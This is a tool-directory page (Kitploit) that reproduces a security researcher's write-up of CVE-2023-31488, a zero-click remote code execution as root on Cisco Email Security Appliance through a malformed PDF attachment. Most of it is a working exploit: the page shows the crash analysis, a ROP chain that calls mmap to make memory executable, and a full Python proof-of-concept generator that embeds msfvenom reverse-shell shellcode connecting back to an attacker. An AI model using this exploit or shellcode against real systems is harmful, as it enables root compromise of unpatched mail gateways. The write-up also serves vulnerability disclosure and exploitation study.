Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: Email to zero-click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain | Kitploit
Tools/GitHubGitHub/ly1g3/cisco-cve-2023-31488
Exploit FrameworksMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringShellcodeFuzzingPenetration TestingPayload DevelopmentEmail SecurityBinary Exploitation
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: Email to zero-click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain

View Repository

About

Security researcher: ly1g3, ly1g3[at]tuta.io

GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Overview: Email to zero click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain

CVE: CVE-2023-31488

Timeline:

  • Discovered - ly1g3
  • Reported - ly1g3
  • Fixed - Cisco and Lexmark

Writeup

While fuzzing the Cisco Email Security Appliance (ESA), I discovered a vulnerability in Lexmark Perceptive Filters, used by the ESA for data sanitization of email attachments, leading to RCE via email. The crash occurs when parsing a modified PDF attachment. By altering a double-digit PDF object ID, for instance:

For example:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

Changing part of the ID from 13 to something else (like a space) results in:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

Sending this modified PDF in an email to the Cisco ESA causes a segmentation fault crash in libISYSpdf6.so. The crash is due to r14 containing ASCII data.

2 3

Closer inspection shows that this data comes from the content of the PDF attachment under our control. The value of r14 is Rect. 4

Testing when changing Rect to AAAA.

5

Since the value of r14 is loaded from data in the PDF, we can modify it to point at a valid memory address. After this adjustment, another crash occurs due to invalid data in RAX. This data is also ASCII from the PDF.

6

We modify the pdf so that rax also points to an actual address and proceed further. 7

A new crash occurs; now rsi contains ASCII data from the PDF. 8

We modify the PDF again to load a real memory address.

9

Finally, we come to a very interesting part of code. Where we control rdi, which is used to load a value into rax. The final instruction in this sequence is call rax. We are now making good progress towards achieving code execution capabilities.

10

Once again we enter the hex editor and modify the value loaded into rdi. 11

Now we have a way of limited code execution and can jump to a single address. Since ASLR is not present finding memory addresses is easy. We also control rdi and therefore use the initial ROP-gadget libISYSshared.so: push rdi; pop rsp; xor eax, to move rdi to rsp to control the stack. We point the stack to a area we control in the PDF memory region with a custom stack prepped with more rop gadgets. 12

A FreeBSD reverse-shell shellcode generated by msfvenom is placed the PDF memory region. But since the memory is not executable we first have to make it executable.

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

Since we at this point control the stack this can be done by the following ROP-chain to call to mmap to set the shellcode memory region as RWX.

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

After mmap is called call rsp; will execute the NOP-sled of our shellcode since the address of the shellcode is next on our custom stack. The shellcode is a msfvenom generated reverse shell.

A interesting thing is that this code is run before any static antivirus scans so the standard metasploit reverse shell will work just fine.

We can use the POC below to create a working PDF. After this we just send it in a email to the ESA to gain RCE. See my other vulnerabilities for privilege escalation.

And by that we gain a remote shell on the ESA:

13

This was a fun project that taught me alot about memory corruption vulnerabilities. It also showcases how good of a protection "modern" memory protection like ASLR is, but also that you can still find non ASLR systems out there.

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email) overflow attack. Remote Code Execution as root.

Variable/Buffer overflow in Lexmark Perceptive Filters

By sending a specially crafted PDF file a overflow causes a attacker to gain Arbitrary Remote Code Execution on the ESA and other products using Lexmark Perceptive Filters.

Technical

This overflow attack allows the attacker to gain control over a call rax instruction which makes it trivial to pivot to arbitrary code execution since no ASLR is used on the ESA. Code will execute as root.

The problem comes from pdf parsing in the libISYSpdf6.so library by Lexmark and is caused by calls to the IGR_Open_File_Ex function. This function can be traced to the safeprint functions and image_analysis in AMP (Advanced Malware Protection) but the exploit could possibly be triggered using other paths aswell.

Steps to reproduce:

  1. Create pdf containing Subtype/CIDFontType2/FontDescriptor. Sample can be found here https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. For example:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. Replace part of the id 13 with an other value (like space) 1 resulting in:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. Send the pdf to the ESA with safeprint or AMP image_analysis enabled

  2. This leads to a Segmentation Fault in libISYSpdf6.so

root@kitploit:~
// r14 is now user controlled and point to data in pdf
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. This can be escalated to RCE since data loaded in rax will eventually reach:
root@kitploit:~
// Call with controlled rax, start of ROP chain
0x804d50298: call   rax
  1. ROP chain for reverse shell can then be created since ASLR is not used this is trivial

POC

root@kitploit:~

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

Download Tool